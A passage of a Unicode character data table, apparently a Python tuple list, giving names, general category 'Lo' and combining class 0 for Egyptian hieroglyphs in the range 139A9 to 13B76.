("EGYPTIAN HIEROGLYPH-139A9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139AA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139AB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139AC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139AD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139AE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139AF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139B0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139B1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139B2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139B3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139B4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139B5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139B6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139B7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139B8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139B9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139BA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139BB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139BC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139BD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139BE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139BF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139C0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139C1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139C2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139C3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139C4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139C5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139C6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139C7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139C8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139C9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139CA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139CB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139CC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139CD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139CE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139CF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139D0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139D1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139D2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139D3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139D4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139D5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139D6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139D7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139D8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139D9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139DA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139DB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139DC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139DD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139DE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139DF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139E0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139E1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139E2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139E3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139E4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139E5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139E6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139E7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139E8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139E9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139EA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139EB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139EC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139ED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139EE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139EF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139F0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139F1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139F2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139F3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139F4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139F5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139F6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139F7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139F8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139F9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139FA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139FB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139FC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139FD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139FE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-139FF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A00", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A01", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A02", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A03", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A04", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A05", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A06", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A07", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A08", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A09", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A0A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A0B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A0C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A0D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A0E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A0F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A10", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A11", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A12", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A13", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A14", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A15", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A16", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A17", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A18", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A19", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A1A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A1B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A1C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A1D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A1E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A1F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A20", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A21", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A22", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A23", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A24", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A25", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A26", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A27", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A28", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A29", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A2A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A2B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A2C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A2D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A2E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A2F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A30", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A31", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A32", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A33", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A34", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A35", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A36", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A37", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A38", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A39", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A3A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A3B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A3C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A3D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A3E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A3F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A40", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A41", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A42", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A43", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A44", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A45", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A46", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A47", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A48", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A49", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A4A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A4B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A4C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A4D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A4E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A4F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A50", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A51", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A52", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A53", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A54", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A55", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A56", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A57", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A58", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A59", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A5A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A5B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A5C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A5D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A5E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A5F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A60", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A61", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A62", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A63", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A64", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A65", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A66", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A67", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A68", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A69", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A6A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A6B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A6C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A6D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A6E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A6F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A70", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A71", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A72", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A73", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A74", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A75", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A76", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A77", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A78", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A79", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A7A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A7B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A7C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A7D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A7E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A7F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A80", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A81", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A82", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A83", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A84", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A85", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A86", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A87", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A88", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A89", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A8A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A8B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A8C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A8D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A8E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A8F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A90", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A91", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A92", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A93", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A94", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A95", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A96", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A97", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A98", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A99", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A9A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A9B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A9C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A9D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A9E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13A9F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AA0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AA1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AA2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AA3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AA4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AA5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AA6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AA7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AA8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AA9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AAA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AAB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AAC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AAD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AAE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AAF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AB0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AB1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AB2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AB3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AB4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AB5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AB6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AB7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AB8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AB9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ABA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ABB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ABC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ABD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ABE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ABF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AC0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AC1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AC2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AC3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AC4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AC5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AC6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AC7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AC8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AC9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ACA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ACB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ACC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ACD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ACE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ACF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AD0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AD1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AD2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AD3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AD4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AD5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AD6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AD7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AD8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AD9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ADA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ADB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ADC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ADD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ADE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ADF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AE0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AE1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AE2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AE3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AE4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AE5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AE6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AE7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AE8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AE9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AEA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AEB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AEC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AEE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AEF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AF0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AF1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AF2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AF3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AF4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AF5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AF6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AF7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AF8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AF9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AFA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AFB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AFC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AFD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AFE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13AFF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B00", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B01", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B02", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B03", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B04", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B05", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B06", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B07", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B08", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B09", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B0A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B0B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B0C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B0D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B0E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B0F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B10", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B11", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B12", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B13", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B14", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B15", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B16", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B17", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B18", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B19", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B1A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B1B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B1C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B1D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B1E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B1F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B20", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B21", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B22", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B23", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B24", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B25", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B26", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B27", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B28", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B29", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B2A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B2B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B2C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B2D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B2E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B2F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B30", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B31", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B32", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B33", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B34", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B35", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B36", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B37", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B38", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B39", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B3A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B3B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B3C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B3D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B3E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B3F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B40", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B41", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B42", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B43", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B44", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B45", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B46", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B47", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B48", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B49", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B4A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B4B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B4C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B4D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B4E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B4F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B50", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B51", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B52", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B53", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B54", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B55", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B56", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B57", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B58", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B59", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B5A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B5B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B5C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B5D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B5E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B5F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B60", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B61", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B62", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B63", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B64", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B65", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B66", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B67", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B68", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B69", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B6A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B6B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B6C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B6D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B6E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B6F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B70", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B71", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B72", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B73", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B74", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B75", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13B76", "Lo", 0),
